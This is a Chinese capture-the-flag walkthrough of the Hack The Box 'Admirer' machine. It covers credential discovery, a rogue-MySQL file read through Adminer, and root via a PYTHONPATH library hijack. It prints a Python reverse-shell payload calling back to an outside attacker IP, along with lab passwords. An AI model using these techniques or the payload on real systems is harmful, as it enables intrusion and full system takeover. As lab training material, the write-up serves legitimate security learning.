当前位置: 首页 > news >正文

[Meachines] [Easy] Admirer Adminer远程Mysql反向+Python三方库函数劫持权限提升

信息收集

IP AddressOpening Ports
10.10.10.187TCP:21,22,80

$ nmap -p- 10.10.10.187 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-title: Admirer
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
UsernamePasswordType
waldo.11Ezy]m27}OREc$Bank
w.cooper@admirer.htbfgJr6q#S\W:$PMail
ftpuser%n?4Wz}R$tTF7FTP
adminw0rdpr3ss01!WordPress
waldo]F7jLHw:*G>UPrTo}~A"d6bDB:admirerdb
waldoWh3r3_1s_w4ld0?DB
waldo&<h5b~yK3F#{PaPB&dA}{H>SSH

目录爆破

http://10.10.10.187/admin-dir/

image.png

$ $ gobuster dir -u "http://10.10.10.187/admin-dir/" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x .txt,.php

image-2.png

http://10.10.10.187/admin-dir/credentials.txt

image-1.png

username:ftpuser
password:%n?4Wz}R$tTF7

FTP

$ ftp 10.10.10.187

ftp> get html.tar.gz

ftp> get dump.sql

image-3.png

$ tar -zxvf html.tar.gz

敏感信息

$ grep -iR password ./

image-4.png

image-5.png

username:waldo
password:]F7jLHw:*G>UPrTo}~A"d6b
password:Wh3r3_1s_w4ld0?

$ gobuster dir -u "http://10.10.10.187/utility-scripts/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50

image-6.png

Adminer远程Mysql反向文件读取

$ sudo vim /etc/mysql/mariadb.conf.d/50-server.cnf

image-7.png

$ sudo service mysql start
$ sudo mysql -uroot -p

MariaDB [(none)]> CREATE DATABASE H4CK13;
MariaDB [(none)]> CREATE USER 'admin'@'10.10.10.187' IDENTIFIED BY 'TEST';

MariaDB [(none)]> GRANT ALL ON H4CK13.* TO 'admin'@'10.10.10.187';

MariaDB [(none)]> FLUSH PRIVILEGES;

MariaDB [(none)]> CREATE TABLE TEST_LOAD(OUTPUT TEXT(4096));

http://10.10.10.187/utility-scripts/adminer.php

image-8.png

image-9.png

image-10.png

由于限制路径,仅允许读取/var/www/html目录下文件

image-11.png

http://10.10.10.187/utility-scripts//adminer.php?server=10.10.16.5&username=admin&db=H4CK13&sql=

LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE TEST_LOAD FIELDS TERMINATED BY "\n"

image-12.png

select * from TEST_LOAD

image-13.png

username:waldo
password:&<h5b~yK3F#{PaPB&dA}{H>

image-14.png

User.txt 截屏

image-15.png

User.txt 内容

64332fee15a06c428fa01b4185bdd695

权限提升

$ sudo -l

image-16.png

image-17.png

image-18.png

通过劫持shutil来获取反向shell

/dev/shm 是一个在 Linux 和 Unix 系统上常见的临时文件系统目录,代表共享内存(shared memory)。它是由 Linux 内核中的 tmpfs 文件系统实现的。使用 /dev/shm 可以快速地在进程之间共享数据,因为它使用的是内存而不是磁盘,因此读写速度非常快。

$ vi /dev/shm/shutil.py

# shutil.py
import socket,subprocess,os
import pty;
def make_archive(a,b,c):s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("10.10.16.5",10032))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)pty.spawn("/bin/sh")

$ sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh

> 6

将python环境设置在/dev/shm目录,这样执行backup.py的时候将从/dev/shm导入包

image-19.png

Root.txt 截屏

image-20.png

Root.txt 内容

3ef473946f9b258b657cdbefbde60ef8

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • C++面试---小米
  • 食源送系统项目的测试
  • 服务重启脚本
  • 从实现第一个ArkTs应用开始入门
  • C#中ToString()在windows和linux的差异
  • MySQLl的存储引擎
  • 二进制部署k8s集群之CoreDNS部署及多master节点负载均衡以及高可用(下)
  • django网络爬虫系统- 计算机毕业设计源码81040
  • 前端进阶|详细讲讲函数柯里化
  • mybatis多条件in查询拓展
  • 运维之路----计算机基础
  • Kafka动态授权认证:利用SASL/SCRAM机制提升安全性
  • Nginx代理路径被吃
  • 如何在Python中使用网页抓取API获得Google搜索结果
  • 我们的网站被狗爬了!
  • [译]如何构建服务器端web组件,为何要构建?
  • 《Javascript高级程序设计 (第三版)》第五章 引用类型
  • 【comparator, comparable】小总结
  • 4. 路由到控制器 - Laravel从零开始教程
  • Fundebug计费标准解释:事件数是如何定义的?
  • Java反射-动态类加载和重新加载
  • MySQL的数据类型
  • Vue小说阅读器(仿追书神器)
  • windows下mongoDB的环境配置
  • 使用Gradle第一次构建Java程序
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • 首页查询功能的一次实现过程
  • 腾讯视频格式如何转换成mp4 将下载的qlv文件转换成mp4的方法
  • 我的zsh配置, 2019最新方案
  • 吴恩达Deep Learning课程练习题参考答案——R语言版
  • 再次简单明了总结flex布局,一看就懂...
  • 怎样选择前端框架
  • ​【经验分享】微机原理、指令判断、判断指令是否正确判断指令是否正确​
  • # Redis 入门到精通(九)-- 主从复制(1)
  • #1014 : Trie树
  • #Java第九次作业--输入输出流和文件操作
  • (13):Silverlight 2 数据与通信之WebRequest
  • (145)光线追踪距离场柔和阴影
  • (175)FPGA门控时钟技术
  • (done) 两个矩阵 “相似” 是什么意思?
  • (iPhone/iPad开发)在UIWebView中自定义菜单栏
  • (阿里云在线播放)基于SpringBoot+Vue前后端分离的在线教育平台项目
  • (保姆级教程)Mysql中索引、触发器、存储过程、存储函数的概念、作用,以及如何使用索引、存储过程,代码操作演示
  • (创新)基于VMD-CNN-BiLSTM的电力负荷预测—代码+数据
  • (四)c52学习之旅-流水LED灯
  • (转) ns2/nam与nam实现相关的文件
  • (转)利用PHP的debug_backtrace函数,实现PHP文件权限管理、动态加载 【反射】...
  • *1 计算机基础和操作系统基础及几大协议
  • .form文件_SSM框架文件上传篇
  • .NET Compact Framework 3.5 支持 WCF 的子集
  • .net on S60 ---- Net60 1.1发布 支持VS2008以及新的特性
  • .net 调用php,php 调用.net com组件 --
  • .Net--CLS,CTS,CLI,BCL,FCL
  • .NET与 java通用的3DES加密解密方法
  • @FeignClient注解,fallback和fallbackFactory